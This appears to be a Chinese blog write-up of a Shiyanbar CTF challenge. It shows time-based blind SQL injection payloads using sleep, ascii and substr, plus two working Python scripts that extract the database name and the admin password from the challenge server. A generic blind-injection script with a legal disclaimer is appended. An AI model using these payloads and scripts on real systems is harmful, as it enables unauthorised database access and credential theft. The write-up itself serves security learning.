实验吧 看起来有点难 脚本加盲注

题目分析

测试?admin=1&pass=1&action=login
在这里插入图片描述报错无法连接数据库
测试?admin=admin'&pass=admin&action=login
在这里插入图片描述说明只要爆密码就可以
用SQL注入的方法

?admin=admin' union select 1,2,3 --+&pass=admin&action=login

在这里插入图片描述弹窗警告
尝试双写大小写绕不过去,而且并没有报错信息
在这里插入图片描述尝试?admin=admin' and sleep(5) --+&pass=admin&action=login
发现延时了
就可以用延时注入
然后先猜当前数据库长度,在用户名后面的参数加?admin=admin' and if(length(database())=4,0,sleep(5)) %23&pass=admin&action=login ,当我们的if判断正确时,页面则不延迟5秒,错误时则会延迟5秒,这里我猜出当前数据库长度为4
在这里插入图片描述 知道数据库长度之后,猜数据库名

先猜数据库的第一位ASCII的码值
先介绍一下substr(str,start,length)函数,str是要截取的字符串,start是开始点,length是截取长度,这里我们的str和length就一直不变,str为database(),表示显示当前数据库名,length始终为1,表示每次都只截取1个字符,所以我们只要变start开始点就行了

?admin=admin' and if(ascii(substr(database(),1,1))>97,0,sleep(10))%23&pass=admin&action=login 

,这里我用延迟10秒,因为我网速不是很好

这里当数据库的第一位字符的ASCII码值大于97时不延迟,表示是正确的
最后得到库名为test
因为select 被过滤了 但是发现弹窗也不影响我们的注入
继续猜表名and if(ascii(substr((Select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))=97,0,sleep(5))%23
在这里插入图片描述得到第一位是 a
然后。

接下来就写脚本!

#coding:utf-8
import requests
import time

j = 1
r = ''
while j<=4:
    for i in range(97,123):
        one=time.time()
        a=requests.get("http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and if(ascii(substr((database()),"+str(j)+",1))="+str(i)+",0,sleep(10))%23&pass=1&action=login")
        two=time.time()
        if two-one<=10:
            r +=chr(i)
            print(r)
            j +=1
            print([END],r)

将database()修改为SeLect table_name from information_schema.tables where table_schema='test'就可以查表

最后在自己学习过程中想到,应该可以直接对password进行注入
给出下面的脚本

#coding:utf-8
import requests
import string

str = string.ascii_lowercase+string.digits+'@_{}.*'
print (str)
flag=""
print ("start:")
# # length 先爆出字段长度
# for i in range(1,20):
#   url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(length(password)=%s) then sleep(8) else sleep(0) end and ''='&pass=&action=login" %i
#   try:
#       res = requests.get(url, timeout=5)
#   except:
#       print (i)
#       break



for i in range(1,9):
    for s in str:
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(8) else sleep(0) end and ''='&pass=&action=login" %(i,s)
        try:
            res = requests.get(url, timeout=5)
        except:
            flag += s
            print ("%s:%s"  %(i,flag))
            break
print ("password:"+flag)

先用上面再用下面

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入是一种常见的安全漏洞,它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的操作。而盲注是一种特殊类型的SQL注入攻击,攻击者无法直接获取数据库的具体信息,但可以通过不断尝试不同的条件来判断是否存在漏洞。 下面是一个使用Python编写的简单SQL注入盲注脚本的示例: ```python import requests def check_vulnerable(url): payload = "' OR 1=1 --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: return True else: return False def exploit_blind(url): result = "" characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" while True: found = False for char in characters: payload = "' OR SUBSTRING((SELECT database()), 1, 1) = '" + char + "' --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: result += char found = True break if not found: break return result # 示例使用方法 url = "http://example.com/vulnerable_page" if check_vulnerable(url): database_name = exploit_blind(url) print("数据库名称:", database_name) else: print("目标网站不易受SQL注入攻击") ``` 上述脚本中,`check_vulnerable`函数用于检测目标网站是否易受SQL注入攻击,它通过在URL中插入特定的payload来判断是否存在漏洞。`exploit_blind`函数用于利用盲注漏洞获取数据库名称,它通过不断尝试不同的字符来逐个获取数据库名称的每个字符。 请注意,上述脚本仅为示例,实际使用时需要根据具体情况进行修改和扩展,同时要遵循法律和道德规范,仅在合法授权的范围内使用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值